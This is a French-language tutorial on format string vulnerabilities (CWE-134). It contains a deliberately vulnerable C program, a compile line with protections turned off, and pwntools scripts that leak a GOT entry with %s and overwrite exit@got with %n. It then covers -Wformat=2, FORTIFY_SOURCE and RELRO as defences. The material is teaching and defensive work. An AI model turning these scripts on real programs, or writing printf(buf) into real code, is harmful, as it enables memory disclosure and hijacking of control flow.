Bugs de chaîne de format : lecture et écriture arbitraires
Un printf(entrée_utilisateur) est une primitive de lecture/écriture complète. Fuitez avec %p, écrasez avec %n via pwntools, puis regardez -Wformat=2 et FORTIFY_SOURCE le neutraliser.
Ceci est le quatrième tutoriel de la section Techniques d'exploitation. Jusqu'ici, chaque technique partait d'un débordement de pile. Celle-ci part de quelque chose qui semble parfaitement anodin — une ligne de journalisation — et produit une primitive complète de lecture et écriture arbitraires, souvent sans rien corrompre par débordement.
La classe de bug est CWE-134, et son versant conceptuel est traité dans débordements d'entiers et chaînes de format. Ici, nous l'exploitons dans le labo, puis regardons le compilateur et la glibc la neutraliser.
Pourquoi un seul « %s » manquant est une primitive
printf lit son premier argument comme une chaîne de format et récupère les arguments suivants pour satisfaire chaque spécificateur. Si l'attaquant contrôle cette chaîne, il contrôle les spécificateurs :
| Spécificateur | Effet | Ce qu'il donne à l'attaquant |
|---|---|---|
%p / %x | Affiche une valeur de pile/registre | Fuites de disposition mémoire et pile |
%s | Déréférence un argument pointeur et l'affiche | Lecture arbitraire |
%n | Écrit « caractères affichés jusqu'ici » vers un argument pointeur | Écriture arbitraire |
%7$p | Accède directement au 7e argument | Atteint une valeur plantée par l'attaquant |
Cette dernière forme positionnelle est la clé qui transforme la théorie en outil : l'attaquant place une adresse cible dans l'entrée, puis la référence par sa position d'argument.
La cible
/* vuln.c — le bug est printf(buf), pas printf("%s", buf). */
#include <stdio.h>
#include <unistd.h>
int main(void) {
char buf[128];
setvbuf(stdout, NULL, _IONBF, 0);
while (1) {
ssize_t n = read(0, buf, sizeof(buf) - 1);
if (n <= 0) break;
buf[n] = '\0';
printf(buf); /* CWE-134 : l'utilisateur contrôle la chaîne de format */
}
return 0;
}
Compilez-le avec les avertissements de format désactivés pour qu'il compile (nous les activons à la fin) :
gcc -fno-stack-protector -no-pie -Wno-format -O0 -g -o vuln vuln.c
Étape 1 — trouver notre décalage sur la pile
Envoyez un marqueur suivi de plusieurs %p. Le %p qui affiche le marqueur nous indique à quel indice d'argument se trouve notre entrée.
$ ./vuln
AAAAAAAA %p %p %p %p %p %p %p %p
AAAAAAAA 0x7ffd... 0x0 0x1 0x7f... 0x4141414141414141 ...
Ici, 0x4141414141414141 (« AAAAAAAA ») apparaît au 5e %p, donc notre tampon est l'argument 6 (le marqueur fait 8 octets ; les positions se décalent selon les arguments de tête fixes). pwntools automatise cette recherche :
from pwn import *
context.binary = ELF("./vuln")
def exec_fmt(payload):
p = process("./vuln"); p.sendline(payload); return p.recvline()
fmt = FmtStr(exec_fmt) # sonde le décalage automatiquement
log.success("décalage d'argument de la chaîne de format : %d", fmt.offset)
Étape 2 — lecture arbitraire
Lisez n'importe quelle adresse en la plaçant dans l'entrée et en la déréférençant avec %s à notre décalage. Pour fuiter, par exemple, une entrée GOT (un pointeur libc) :
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
target = elf.got["read"] # adresse que nous voulons lire
# %7$s → traite l'argument 7 comme un char* et l'affiche ; adresse fournie en ligne
payload = b"%7$s".ljust(8, b" ") + p64(target)
io.sendline(payload)
leak = io.recvline()
log.success("octets à read@got : %s", enhex(leak[:6]))
C'est une lecture arbitraire : le pointeur que nous contrôlons (target) est déréférencé et son contenu affiché — de quoi vaincre l'ASLR en fuitant un pointeur libc, exactement comme la fuite de ret2libc.
Étape 3 — écriture arbitraire avec %n
%n écrit le nombre de caractères affichés jusqu'ici vers un argument pointeur. Contrôlez le compte avec une largeur de champ, contrôlez le pointeur avec l'entrée, et vous écrivez une valeur choisie à une adresse choisie. Le faire à la main consiste à découper l'écriture en fragments de la taille d'un octet ; fmtstr_payload de pwntools fait l'arithmétique :
from pwn import *
context.binary = elf = ELF("./vuln")
io = process("./vuln")
# écrase l'entrée GOT de exit() avec l'adresse d'un appel win() / system
writes = { elf.got["exit"]: elf.symbols["main"] } # exemple : boucler au lieu de quitter
payload = fmtstr_payload(6, writes) # 6 = notre décalage d'argument
io.sendline(payload)
Dirigez cette écriture vers une adresse de retour sauvegardée, une entrée GOT (voir le guide suivant) ou un pointeur de fonction, et l'écriture arbitraire devient un détournement du flot de contrôle. Aucun débordement n'a été nécessaire — juste une chaîne de format.
Réactiver les mitigations
À la compilation : -Wformat=2
gcc -Wformat=2 -Wformat-security -Werror -O0 vuln.c -o vuln_safe
vuln.c:11:16: error: format not a string literal and no format arguments [-Werror=format-security]
11 | printf(buf);
| ^~~
La compilation échoue tout simplement. C'est la défense la moins chère et la plus complète : le bug n'est jamais livré. Tout projet C/C++ devrait compiler avec -Wformat=2 -Wformat-security, idéalement en -Werror.
À l'exécution : FORTIFY_SOURCE
gcc -D_FORTIFY_SOURCE=2 -O2 -Wno-format vuln.c -o vuln_fortify
Avec FORTIFY, glibc refuse un %n lorsque la chaîne de format se trouve en mémoire inscriptible :
*** %n in writable segment detected ***
La primitive d'écriture de l'étape 3 est morte. Notez la limite : les lectures %p/%s fonctionnent toujours, donc FORTIFY réduit le bug à une fuite au lieu de le supprimer. Des lectures plus un bug de corruption distinct peuvent rester dangereux.
| Défense | Bloque la lecture (%s/%p) ? | Bloque l'écriture (%n) ? |
|---|---|---|
-Wformat=2 -Wformat-security (compilation) | Oui — le code ne compile pas | Oui |
-D_FORTIFY_SOURCE=2 (exécution) | Non | Oui (format inscriptible) |
| Full RELRO | Non | Protège uniquement la GOT spécifiquement |
Ce que cela enseigne à un défenseur
- C'est un bug détectable par le compilateur. Contrairement aux débordements, une vulnérabilité de chaîne de format est presque toujours visible par
-Wformat=2à la compilation. Si votre CI n'échoue pas sur-Wformat-security, activez-le dès aujourd'hui — voir drapeaux de durcissement des binaires. - Un bug « en lecture seule » reste une fuite qui vainc l'ASLR. Même là où FORTIFY bloque
%n, la lecture%slivre à l'attaquant la base de la libc. Traitez les chaînes de format de divulgation d'information comme graves, pas cosmétiques. - Grep est votre ami.
printf,fprintf,snprintf,syslog,err/warnavec un premier argument non littéral sont tous suspects. Un audit rapide en trouve la plupart.
Points clés
- Une chaîne de format contrôlée par l'utilisateur est une primitive complète de lecture (
%s/%p) et d'écriture (%n) arbitraires — aucun débordement requis. - Trouvez votre décalage d'argument par sondage
%pou avecFmtStrde pwntools ; construisez les écritures avecfmtstr_payload. - Dirigez l'écriture vers une adresse de retour ou une entrée GOT pour la convertir en exécution de code.
-Wformat=2 -Wformat-securityempêche le bug à la compilation ; FORTIFY_SOURCE bloque%nà l'exécution mais pas les lectures.
Ensuite : détourner la GOT — où une écriture arbitraire comme celle-ci vise la Global Offset Table, et où Full RELRO décide si elle aboutit.